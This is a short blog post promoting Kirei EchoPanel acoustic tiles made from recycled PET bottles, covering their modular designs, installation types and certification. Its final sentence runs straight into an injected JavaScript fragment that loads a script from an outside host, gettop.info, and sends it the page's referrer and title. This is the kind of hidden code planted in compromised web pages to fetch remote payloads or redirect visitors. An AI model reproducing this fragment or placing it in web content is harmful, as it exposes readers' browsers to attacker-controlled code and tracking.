EchoPanels

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Acoustic panel design is not really renowned for style and/or sustainability. ‘EchoPanels‘ are changing this conception and offering a great recycling opportunity at the same time. Now they have the sound-absorbing Kirei Echopanel tile (originally seen in Green Build 2015) that allows an attractive eco-friendly option.

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The real beauty of the EchoPanel tile is hidden within their composition. There are made from recycled PET bottles and have no added adhesives meaning they are 100% recyclable. They have been designed to be modular and are customizable so just about any colour shape or pattern can be created using the system.

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The founder of Kirei, John Stein, developed the panels to improve the quality of spaces. In the same way that designers invest time in creating great natural lighting in a space, he wants to improve the sound quality of spaces.

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EchoPanel come in three easy-to-install types. There is a ‘clip-on’ DuneWave Tile; a longer rectangular EchoPanel ‘strip’ and a ‘peel-and-stick’ geometric tile that can create modularity and tessellations. They can be cut to specific sizes and have a felt like finish. They have been certified by Green Tag (as they contain zero urea formaldehyde). So now, as our options for sound design increase, we can all have a greener, clearer conscience. Check them out!s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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